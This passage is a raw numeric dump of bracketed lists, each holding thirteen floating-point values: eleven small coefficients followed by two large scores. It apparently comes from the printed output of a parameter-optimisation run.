-1.8015495121292713e-06, \n -1.836034443165441e-08, 9.087619653117874e-10, 193159834117.98853, \n 100447140164.3877]\n[-8.45347775440883e-10, -1.3359785407261977e-12, -1.9409478257397567e-13, \n 4.852404641399239e-11, -1.463585775827913e-10, -1.812045689500589e-15, \n 8.706272486016714e-16, 2.4957985197946978e-05, -1.8015495121292713e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 192907161589.0385, \n 100872818268.9527]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.8130493256774034e-15,\n 8.705169785374419e-16, 2.4957985197946978e-05, -1.7997194394724915e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 183710210581.81177, \n 101076246798.6337]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.432701673757514e-10, -1.8130493256774034e-15,\n 8.765174154706532e-16, 2.542150809952725e-05, -1.7997194394724915e-06, \n -1.850709631603352e-08, 9.087619653117874e-10, 168715457724.7375, \n 101683114493.3993]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.849645416672899e-11, -1.432701673757514e-10, -1.803543054789903e-15, \n 8.765174154706532e-16, 2.5177177276929545e-05, -1.7997194394724915e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 153789626574.96255, \n 105699410466.83022]\n[-8.372802930516975e-10, -1.3398025228100945e-12, -1.9531413192683389e-13, \n 4.855683396544643e-11, -1.4675478300173032e-10, -1.803543054789903e-15,\n 8.714032924475303e-16, 2.4957985197946978e-05, -1.793948394990656e-06, \n -1.836034443165441e-08, 9.081976758127089e-10, 159560429502.34207, \n 105861289429.36061]\n[-8.372802930516975e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.869384519400452e-11, -1.432701673757514e-10, -1.7864100157215748e-15,\n 8.765174154706532e-16, 2.5177177276929545e-05, -1.7997194394724915e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 147461834890.53723, \n 106068644665.40553]\n[-8.372802930516975e-10, -1.3292316984383345e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4760843266911815e-10, -1.7864100157215748e-15,\n 8.706272486016714e-16, 2.492800478197597e-05, -1.7933608637070708e-06, \n -1.836034443165441e-08, 9.087979750822277e-10, 147793960453.4741, \n 109638154986.2024]\n[-8.29844666406642e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.8434260838579935e-11, -1.4561659265574012e-10, -1.819718397269023e-15,\n 8.775397316555329e-16, 2.4948775411850268e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.081976758127089e-10, 150492287670.62976, \n 114344342719.97507]\n[-8.406587076953522e-10, -1.318355348076889e-12, -1.9519777560623135e-13, \n 4.855683396544643e-11, -1.4760843266911815e-10, -1.815921924023075e-15,\n 8.839563844754409e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.081976758127089e-10, 148227079557.78632, \n 115101067854.31332]\n[-8.389236670603421e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.717072130867646e-16, 2.4957985197946978e-05, -1.7900208911755532e-06,\n -1.836034443165441e-08, 9.087619653117874e-10, 137339476236.27339, \n 120797794814.05704]\n[-8.373514643167848e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.705169785374419e-16, 2.492800478197597e-05, -1.786297491730252e-06, -\n 1.836034443165441e-08, 9.087619653117874e-10, 128365631923.39072, \n 133721716481.47603]\n[-8.361552586353477e-10, -1.3359785407261977e-12, -1.9531413192683389e-13, \n 4.852404641399239e-11, -1.4675478300173032e-10, -1.799249889019179e-15,\n 8.705169785374419e-16, 2.483403849637781e-05, -1.783565701728919e-06, -\n 1.836034443165441e-08, 9.095300241628919e-10, 123047993752.2489, \n 147005409641.27127]\n[-9.129396902499863e-10, -1.290047843436073e-12, -2.702634930634393e-13, \n 4.58556551164694e-11, -1.8724359625458014e-10, -2.1792166675464865e-15,\n 9.365717147446797e-16, 1.8994698205972217e-05, -1.8050933870374392e-06,\n -1.3360134446642706e-08, 8.693561802236366e-10, 169675879824.58978, \n 156722470654.13324]\n[6.303262263534727e-10, -1.2096663849982051e-12, -2.5988950272728827e-13, \n 4.701662665204773e-11, -1.4934765549498044e-10, -2.0495920936053975e-15,\n 8.502785255135087e-16, 1.8814769194136882e-05, -1.8050933870374392e-06,\n -1.3247752346374906e-08, 8.693561802236366e-10, 108072398467.48868, \n 167972224844.19583]\n[6.303262263534727e-10, -1.2096663849982051e-12, -2.5988950272728827e-13, \n 4.701662665204773e-11, -1.4986345441105813e-10, -2.0495920936053975e-15,\n 8.502785255135087e-16, 1.8814769194136882e-05, -1.8050933870374392e-06,\n -1.3247752346374906e-08, 8.693561802236366e-10, 108072398467.75635, \n 167972224843.92523]\n[-9.212545260772544e-10, -1.290047843436073e-12, -1.8356995493902235e-13, \n 4.58556551164694e-11, -1.8724359625458014e-10, -2.1913589342035502e-15,\n 9.365717147446797e-16, 1.9540146753875297e-05, -1.8050933870374392e-06,\n -1.3360134446642706e-08, 8.693561802236366e-10, 117723326371.03189, \n 192873830899.82352]\n[6.303262263534727e-10, -1.290047843436073e-12, -2.5988950272728827e-13, \n 4.58556551164694e-11, -1.4986345441105813e-10, -2.1913589342035502e-15,\n 8.502785255135087e-16, 1.8814769194136882e-05, -1.8050933870374392e-06,\n -1.3247752346374906e-08, 8.693561802236366e-10, 164354464752.25952, \n 160840990423.46024]\n[6.354744988103506e-10, -1.2096663849982051e-12, -1.830526663998671e-13, \n 4.6589669053151376e-11, -1.4986345441105813e-10, -\n 2.0495920936053975e-15, 8.502785255135087e-16, 1.894858193847651e-05, -\n 1.8050933870374392e-06, -1.3247752346374906e-08, 8.693561802236366e-10,\n 96467208837.94556, 179586543004.98117]\n[-9.212545260772544e-10, -1.290047843436073e-12, -1.8356995493902235e-13, \n 4.58556551164694e-11, -1.8580228849463816e-10, -2.1913589342035502e-15,\n 9.365717147446797e-16, 1.9540146753875297e-05, -1.8218396850604304e-06,\n -1.3360134446642706e-08, 8.759216763039946e-10, 117765020064.66293, \n 187118262382.8758]\n[-9.129396902499863e-10, -1.3004166005044262e-12, -1.8356995493902235e-13, \n 4.58556551164694e-11, -1.8724359625458014e-10, -2.1913589342035502e-15,\n 9.365717147446797e-16, 1.962681376929987e-05, -1.8050933870374392e-06, \n -1.3418860642065019e-08, 8.693561802236366e-10, 122674650037.46736, \n 187415567631.77402]\n[-9.212545260772544e-10, -1.2799153483071088e-12, -1.8213920664100724e-13, \n 4.58556551164694e-11, -1.8724359625458014e-10, -2.1913589342035502e-15,\n 9.365717147446797e-16, 1.9540146753875297e-05, -1.8050933870374392e-06,\n -1.3360134446642706e-08, 8.693561802236366e-10, 117723326371.03189, \n 192873830899.82352]\n[-9.212545260772544e-10, -1.290047843436073e-12, -1.8356995493902235e-13, \n 4.6154548476823616e-11, -1.8724359625458014e-10, -\n 2.1913589342035502e-15, 9.358479354640953e-16, 1.9540146753875297e-05, \n -1.8050933870374392e-06, -1.3360134446642706e-08, 8.693561802236366e-10,\n 117723326371.02731, 192873830899.82806]\n[2.2152115305769157e-10, -1.6907719215642795e-12, -2.5108769063589337e-13, \n 4.9793760275117476e-11, -2.0780774158604122e-10, -\n 2.1593626664102876e-15, 8.836470142939426e-16, 2.0200374650352852e-05, \n -1.7639524821935923e-06, -1.5013783998899997e-08, 8.77876424822685e-10,\n 170388218306.66492, 168925348515.4128]\n[2.2152115305769157e-10, -1.6907719215642795e-12, -2.1051647732787472e-13, \n 4.9793760275117476e-11, -2.0780774158604122e-10, -\n 2.1790706433018085e-15, 8.836470142939426e-16, 2.0343533479720338e-05, \n -1.7639524821935923e-06, -1.5091093694835327e-08, 8.771058818345121e-10,\n 191821821495.1242, 158798904598.69617]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -2.1593626664102876e-15,\n 8.836470142939426e-16, 2.0217203662255432e-05, -1.7639524821935923e-06,\n -1.5013783998899997e-08, 8.771058818345121e-10, 177069079234.4985, \n 163375067226.8736]\n[2.213664545134999e-10, -1.2059133330572482e-12, -2.5108769063589337e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -2.1593626664102876e-15,\n 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.508245699810314e-08, 8.771058818345121e-10, 197879714583.27084, \n 152444791757.7255]\n[0.0, -1.223723210207519e-12, -2.1051647732787472e-13, \n 4.971358693780409e-11, -1.7352085678160897e-10, -2.165433707987142e-15,\n 7.304553415989529e-16, 2.0047355685146273e-05, -1.7657604268720381e-06,\n -1.4977385439375226e-08, 8.771058818345121e-10, 197945074606.02325, \n 153164597685.87036]\n[2.2152115305769157e-10, -1.1984578022968498e-12, -2.5108769063589337e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15,\n 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.5202351660972107e-08, 8.771058818345121e-10, 111986329581.05826, \n 155849166742.8801]\n[2.2133713135172913e-10, -1.2059133330572482e-12, -2.5107145183244764e-13, \n 5.011120217163613e-11, -1.724660990140153e-10, -2.1790706433018085e-15,\n 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.5013783998899997e-08, 8.771058818345121e-10, 187269085984.5673, \n 161472427331.15216]\n[0.0, -1.223723210207519e-12, -2.094909506024221e-13, 5.011120217163613e-11,\n -1.7677981323511262e-10, -2.145058695065051e-15, 7.430575474541962e-16,\n 2.0053347897812537e-05, -1.7639524821935923e-06, -\n 1.4682044872577598e-08, 8.728626586100963e-10, 152433850624.54852, \n 175966043507.07343]\n[0.0, -1.223723210207519e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -2.1790706433018085e-15,\n 7.430575474541962e-16, 1.9918519209106862e-05, -1.7685796144533914e-06,\n -1.4682044872577598e-08, 8.771058818345121e-10, 153535961138.3572, \n 184829802626.36642]\n[2.2152115305769157e-10, -1.200937983572784e-12, -2.1065990049856794e-13, \n 5.011120217163613e-11, -1.7420072583381303e-10, -1.8426407940693324e-15,\n 7.454251311051652e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.508245699810314e-08, 8.771058818345121e-10, 92670242378.77588, \n 189416231139.84406]\n[0.0, -1.2207456906260254e-12, -2.1065990049856794e-13, \n 4.9793760275117476e-11, -2.0772853669541976e-10, -\n 1.8426407940693324e-15, 7.430575474541962e-16, 1.9867416915370552e-05, \n -1.7639524821935923e-06, -1.5091093694835327e-08, 8.728626586100963e-10,\n 160631139543.06137, 122019730569.7476]\n[2.2152115305769157e-10, -1.1984578022968498e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7677981323511262e-10, -1.857281675942834e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5202351660972107e-08, 8.771058818345121e-10, 153487531028.94116, \n 128597452665.91768]\n[0.0, -1.2031098015567e-12, -2.5161591646068603e-13, 5.011120217163613e-11,\n -1.7849498396021264e-10, -1.82610373802557e-15, 7.430575474541962e-16, \n 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08,\n 8.771058818345121e-10, 142632578694.80914, 130195065921.46504]\n[2.2152115305769157e-10, -1.2003583976149596e-12, -2.5108769063589337e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15,\n 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.517941226634992e-08, 8.771058818345121e-10, 107861636975.64659, \n 161449199082.99103]\n[0.0, -1.223723210207519e-12, -2.094909506024221e-13, 5.011120217163613e-11,\n -1.7677981323511262e-10, -1.857281675942834e-15, 7.430575474541962e-16,\n 1.981538293869461e-05, -1.769936435419886e-06, -1.4682044872577598e-08,\n 8.728626586100963e-10, 100156348461.68698, 161778485371.36353]\n[0.0, -1.1984578022968498e-12, -2.1065990049856794e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15,\n 7.430575474541962e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.5091093694835327e-08, 8.760544278271184e-10, 100072993312.46272, \n 171303112707.4717]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 4.9793760275117476e-11, -1.7352085678160897e-10, -\n 1.8261648304268637e-15, 8.836470142939426e-16, 2.0343533479720338e-05, \n -1.7639524821935923e-06, -1.5202351660972107e-08, 8.771058818345121e-10,\n 97245352689.07887, 174341101475.58182]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 4.9675085987122204e-11, -1.7558160485557454e-10, -\n 1.8426407940693324e-15, 8.836470142939426e-16, 2.022642042947946e-05, -\n 1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10,\n 92503635735.71886, 182996786041.40976]\n[0.0, -1.223723210207519e-12, -2.094909506024221e-13, 5.011120217163613e-11,\n -1.7677981323511262e-10, -2.1612081417375267e-15, 7.470344646267989e-16,\n 2.0053347897812537e-05, -1.7639524821935923e-06, -\n 1.4645406166689473e-08, 8.730660207999707e-10, 148185335900.70355, \n 185221791801.95062]\n[2.2111462065028517e-10, -1.2207456906260254e-12, -2.1065990049856794e-13, \n 5.056589741460715e-11, -1.7420072583381303e-10, -1.8426407940693324e-15,\n 7.454251311051652e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.508245699810314e-08, 8.771058818345121e-10, 92670242378.76936, \n 189416231139.85312]\n[2.2152115305769157e-10, -1.2207456906260254e-12, -2.1065990049856794e-13, \n 5.011120217163613e-11, -1.7420072583381303e-10, -1.8276902524925885e-15,\n 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.5091093694835327e-08, 8.771058818345121e-10, 90666406593.2125, \n 190153350507.14474]\n[2.2152115305769157e-10, -1.2049195466583994e-12, -2.1065990049856794e-13, \n 4.98075339514226e-11, -1.7558160485557454e-10, -1.8426407940693324e-15,\n 7.454251311051652e-16, 2.0095046248399238e-05, -1.7639524821935923e-06,\n -1.5013783998899997e-08, 8.771058818345121e-10, 89706134652.28279, \n 197738317572.1617]\n[0.0, -1.2031098015567e-12, -2.1065990049856794e-13, 5.0102593857564815e-11,\n -1.7352085678160897e-10, -1.819039898810471e-15, 7.460417812765263e-16,\n 2.0200374650352852e-05, -1.7758673160173464e-06, -\n 1.5202351660972107e-08, 8.760544278271184e-10, 160476853944.9334, \n 119035825863.27417]\n[2.2152115305769157e-10, -1.2031098015567e-12, -2.5161591646068603e-13, \n 4.9793760275117476e-11, -1.7849498396021264e-10, -1.82610373802557e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5344868185414675e-08, 8.771058818345121e-10, 180743589801.84604, \n 120144468135.82727]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 4.947687927376915e-11, -1.7558160485557454e-10, -1.8426407940693324e-15,\n 8.836470142939426e-16, 2.04140411384885e-05, -1.7639524821935923e-06, -\n 1.5078308038358913e-08, 8.683463468773267e-10, 146622662638.346, \n 120359956158.03543]\n[0.0, -1.1984578022968498e-12, -2.094909506024221e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.857281675942834e-15,\n 7.430575474541962e-16, 2.0200374650352852e-05, -1.7813149517985466e-06,\n -1.5091093694835327e-08, 8.760544278271184e-10, 171477577754.58575, \n 120995758664.39177]\n[2.2152115305769157e-10, -1.1984578022968498e-12, -2.5108769063589337e-13, \n 4.9967768219433575e-11, -1.7352085678160897e-10, -\n 1.8426407940693324e-15, 7.430575474541962e-16, 2.0200374650352852e-05, \n -1.7639524821935923e-06, -1.5091093694835327e-08, 8.703632209100975e-10,\n 151029089477.88403, 121221447183.73479]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.520980077906525e-08, 8.721578527250325e-10, 139696562348.4149, \n 123962248783.03809]\n[2.233355889138985e-10, -1.2031098015567e-12, -2.5108769063589337e-13, \n 5.011120217163613e-11, -1.7849498396021264e-10, -1.8426407940693324e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5202351660972107e-08, 8.771058818345121e-10, 148301377250.4212, \n 129257349906.46594]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.448076765658434e-16, 2.0200374650352852e-05, -1.7728642137544318e-06,\n -1.517941226634992e-08, 8.771058818345121e-10, 131981382341.97574, \n 129372470770.49553]\n[0.0, -1.2031098015567e-12, -2.088572649745598e-13, 5.011120217163613e-11, \n -1.7849498396021264e-10, -1.82610373802557e-15, 8.836470142939426e-16, \n 1.981538293869461e-05, -1.7639524821935923e-06, -1.5202351660972107e-08,\n 8.771058818345121e-10, 142632578694.80914, 130195065921.46504]\n[-5.2595470648843136e-09, -1.2003583976149596e-12, -2.5161591646068603e-13,\n 5.011120217163613e-11, -1.7461898455625076e-10, -1.8426407940693324e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.517941226634992e-08, 8.771058818345121e-10, 142718091682.67987, \n 132029509845.4832]\n[2.2257852388875064e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 4.9793760275117476e-11, -1.7380412465809723e-10, -1.841021101878205e-15,\n 8.836470142939426e-16, 2.022642042947946e-05, -1.7639524821935923e-06, \n -1.5202351660972107e-08, 8.750599822793858e-10, 126150709659.35735, \n 137741348069.72827]\n[0.0, -1.2344709098355012e-12, -2.090479539659853e-13, \n 5.011120217163613e-11, -1.7849498396021264e-10, -1.857281675942834e-15,\n 7.485411998460075e-16, 1.981538293869461e-05, -1.769936435419886e-06, -\n 1.4682044872577598e-08, 8.711551918674385e-10, 114088676894.18327, \n 143862344272.2216]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 119621740814.33159, \n 143868003797.30536]\n[2.2152115305769157e-10, -1.2003583976149596e-12, -2.088572649745598e-13, \n 4.995108013618423e-11, -1.7207960562590789e-10, -1.8426407940693324e-15,\n 8.836470142939426e-16, 2.015341505664753e-05, -1.7639524821935923e-06, \n -1.5202351660972107e-08, 8.771058818345121e-10, 115848531243.76457, \n 151496866956.06183]\n[7.878840270455085e-09, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.022894055850661e-11, -1.7352085678160897e-10, -1.8610445297760222e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.5202351660972107e-08, 8.760544278271184e-10, 113456911424.16617, \n 154679332976.7693]\n[0.0, -1.2031098015567e-12, -2.5161591646068603e-13, 5.011120217163613e-11,\n -1.7352085678160897e-10, -1.82610373802557e-15, 7.430575474541962e-16, \n 1.983133919352831e-05, -1.7639524821935923e-06, -1.500055802123721e-08,\n 8.760544278271184e-10, 107979663117.77498, 158587944243.3901]\n[2.2152115305769157e-10, -1.2003583976149596e-12, -2.5108769063589337e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15,\n 7.451496753853957e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.517941226634992e-08, 8.771058818345121e-10, 107861636975.64659, \n 161449199082.99103]\n[2.1977210438689425e-10, -1.2003583976149596e-12, -2.5108769063589337e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8426407940693324e-15,\n 8.836470142939426e-16, 2.0200374650352852e-05, -1.7639524821935923e-06,\n -1.517941226634992e-08, 8.771058818345121e-10, 107861636975.64659, \n 161449199082.99103]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.099781497267347e-13, \n 4.9793760275117476e-11, -1.7558160485557454e-10, -\n 1.8426407940693324e-15, 8.836470142939426e-16, 2.0299458575301996e-05, \n -1.756844278469525e-06, -1.5202351660972107e-08, 8.750599822793858e-10,\n 101036412554.48618, 178952195751.12357]\n[0.0, -1.2071709641632366e-12, -2.088572649745598e-13, \n 4.9793760275117476e-11, -1.7352085678160897e-10, -\n 1.8426407940693324e-15, 8.836470142939426e-16, 2.0200374650352852e-05, \n -1.7587739009571313e-06, -1.5202351660972107e-08, 8.768692858683927e-10,\n 101115281125.52821, 181312381109.07834]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 4.9675085987122204e-11, -1.7558160485557454e-10, -\n 1.8426407940693324e-15, 8.836470142939426e-16, 2.022642042947946e-05, -\n 1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10,\n 92503635735.71886, 182996786041.40976]\n[2.2295275331941093e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 4.9675085987122204e-11, -1.7558160485557454e-10, -\n 1.8426407940693324e-15, 8.836470142939426e-16, 2.022642042947946e-05, -\n 1.7639524821935923e-06, -1.5013783998899997e-08, 8.750599822793858e-10,\n 92503635735.71886, 182996786041.40976]\n[0.0, -1.223723210207519e-12, -2.1065990049856794e-13, \n 5.011120217163613e-11, -1.7707453284878416e-10, -1.866210682668369e-15,\n 7.430575474541962e-16, 1.9722774245768875e-05, -1.769936435419886e-06, \n -1.4682044872577598e-08, 8.760544278271184e-10, 88317753591.74515, \n 193403737351.61066]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.5161591646068603e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7493239251088378e-06,\n -1.5085870105283375e-08, 8.701394499644777e-10, 90763281590.1167, \n 199093039398.6542]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.857281675942834e-15,\n 7.387655049943961e-16, 1.981538293869461e-05, -1.769936435419886e-06, -\n 1.4563889985865401e-08, 8.644597543611974e-10, 157634872361.7637, \n 120593643708.66519]\n[2.2257852388875064e-10, -1.2070230966272908e-12, -2.1051647732787472e-13, \n 5.027931250826744e-11, -1.755220169767042e-10, -1.810973414699955e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5202351660972107e-08, 8.750599822793858e-10, 159354716917.0895, \n 121269083493.68436]\n[0.0, -1.2031098015567e-12, -2.090479539659853e-13, 5.011120217163613e-11, \n -1.7352085678160897e-10, -1.8577367523496564e-15, 7.430575474541962e-16,\n 1.9814643005749893e-05, -1.7639524821935923e-06, -1.500055802123721e-08,\n 8.711551918674385e-10, 168378423128.42877, 121439949900.90005]\n[2.198369754018213e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7513929529124395e-10, -1.82610373802557e-15, \n 7.448076765658434e-16, 2.0042195789951223e-05, -1.7728642137544318e-06,\n -1.5013783998899997e-08, 8.734593739302048e-10, 147068576327.25705, \n 122027384226.92]\n[2.2257852388875064e-10, -1.2059133330572482e-12, -2.090479539659853e-13, \n 4.9793760275117476e-11, -1.7849498396021264e-10, -1.841021101878205e-15,\n 7.556782953802372e-16, 2.022642042947946e-05, -1.769936435419886e-06, -\n 1.5202351660972107e-08, 8.750599822793858e-10, 149871632956.7388, \n 122750625888.09634]\n[2.2152115305769157e-10, -1.2344709098355012e-12, -2.1013781830316155e-13, \n 5.011120217163613e-11, -1.7343044399460855e-10, -1.857281675942834e-15,\n 7.430575474541962e-16, 2.0343113714890682e-05, -1.7639524821935923e-06,\n -1.520980077906525e-08, 8.721578527250325e-10, 151082881535.07886, \n 122935226427.98189]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.520980077906525e-08, 8.721578527250325e-10, 139696562348.4149, \n 123962248783.03809]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7380412465809723e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.735477478457909e-10, 133427418313.38545, \n 131702579310.68652]\n[2.2152115305769157e-10, -1.2071709641632366e-12, -2.116126459765591e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.517941226634992e-08, 8.771058818345121e-10, 137250169853.3863, \n 133211383937.09729]\n[-9.575357968769427e-09, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.842789515995345e-15,\n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 123172560507.99263, \n 143105235055.608]\n[2.2282051950271776e-10, -1.2030336482043862e-12, -2.1171136727356646e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 119639757591.69511, \n 143860615432.91934]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.0388416851351e-11, -1.7478774930028702e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.750599822793858e-10, 118202331336.15999, \n 145092770865.8836]\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.021867485100539e-11, -1.7558160485557454e-10, -1.82610373802557e-15, \n 7.503695295044637e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.5013783998899997e-08, 8.760544278271184e-10, 110377805870.9487, \n 155477031697.76462]\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7281503437685213e-10, -1.82610373802557e-15, \n 8.836470142939426e-16, 1.983133919352831e-05, -1.7639524821935923e-06, \n -1.500055802123721e-08, 8.760544278271184e-10, 107979663117.63412, \n 158587944243.89005]\n[0.0, -1.2031098015567e-12, -2.522559178506789e-13, 5.003845283040925e-11, \n -1.7352085678160897e-10, -1.82610373802557e-15, 7.430575474541962e-16, \n 1.9950498914670327e-05, -1.7639524821935923e-06, -1.500055802123721e-08,\n 8.760544278271184e-10, 99132279868.34593, 171185572417.85907]\n[2.2257852388875064e-10, -1.2031098015567e-12, -2.5161591646068603e-13, \n 5.011120217163613e-11, -1.7352085678160897e-10, -1.82610373802557e-15, \n 8.811799226535086e-16, 2.022642042947946e-05, -1.7639524821935923e-06, \n -1.508244156181531e-08, 8.760544278271184e-10, 93130287119.72461, \n 180430143233.58368]\n[2.2152115305769157e-10, -1.2059133330572482e-12, -2.088572649745598e-13, \n 5.011120217163613e-11, -1.7558160485557454e-10, -1.8265258253512156e-15,\n 7.430575474541962e-16, 2.0240988631290876e-05, -1.7728642137544318e-06,\n -1.5013783998899997e-08, 8.784555835692595e-10, 86927194519.4496, \n 183449646874.34637]\n[7.863427642383715e-09, -1.2031098015567e-12, -2.5161591646068603e-13, \n 4.9793760275117476e-11, -1.7380412465809723e-10, -1.82610373802557e-15,\n 7.430575474541962e-16, 2.022642042947946e-05, -1.7639524821935923e-06, \n -1.500055802123721e-08, 8.750599822793858e-10, 87084714365.5935, \n 191076754457.2524]\n[0.0, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7849498396021264e-10, -1.857281675942834e-15,\n 7.485411998460075e-16, 1.9750639916729973e-05, -1.769936435419886e-06, \n -1.5013783998899997e-08, 8.825388912755251e-10, 96474604776.96465, \n 194275355409.06598]\n[0.0, -1.2031098015567e-12, -2.5161591646068603e-13, 4.9793760275117476e-11,\n -1.7380412465809723e-10, -1.82610373802557e-15, 7.430575474541962e-16, \n 2.022642042947946e-05, -1.7639524821935923e-06, -1.503739318330452e-08,\n 8.760544278271184e-10, 86984982238.58047, 194967876303.00238]\n[1.5200576895768509e-09, -1.2059133330572482e-12, -2.0752021923147355e-13, \n 5.011120217163613e-11, -1.7849498396021264e-10, -1.82610373802557e-15, \n 7.479116563110691e-16, 1.981538293869461e-05, -1.7639524821935923e-06, \n -1.4682044872577598e-08, 8.724478065416361e-10, 82147238279.93182, \n 198112832281.90573]\n[2.223825616669009e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.011120217163613e-11, -1.7326944854292794e-10, -1.8261648304268637e-15,\n 7.430575474541962e-16, 2.0343533479720338e-05, -1.7639524821935923e-06,\n -1.534155691698868e-08, 8.721578527250325e-10, 175522473614.0067, \n 115813093887.0164]\n[2.2296631466270538e-10, -1.2059133330572482e-12, -2.1051647732787472e-13, \n 5.0388416851351e-11, -1.7478774930028702e-10, -1.82610373802557e-15, \n 7.430575474541962e-16, 2.0431066002844864e-05, -1.7780476812466564e-06,\n -1.5013783998899997e-08, 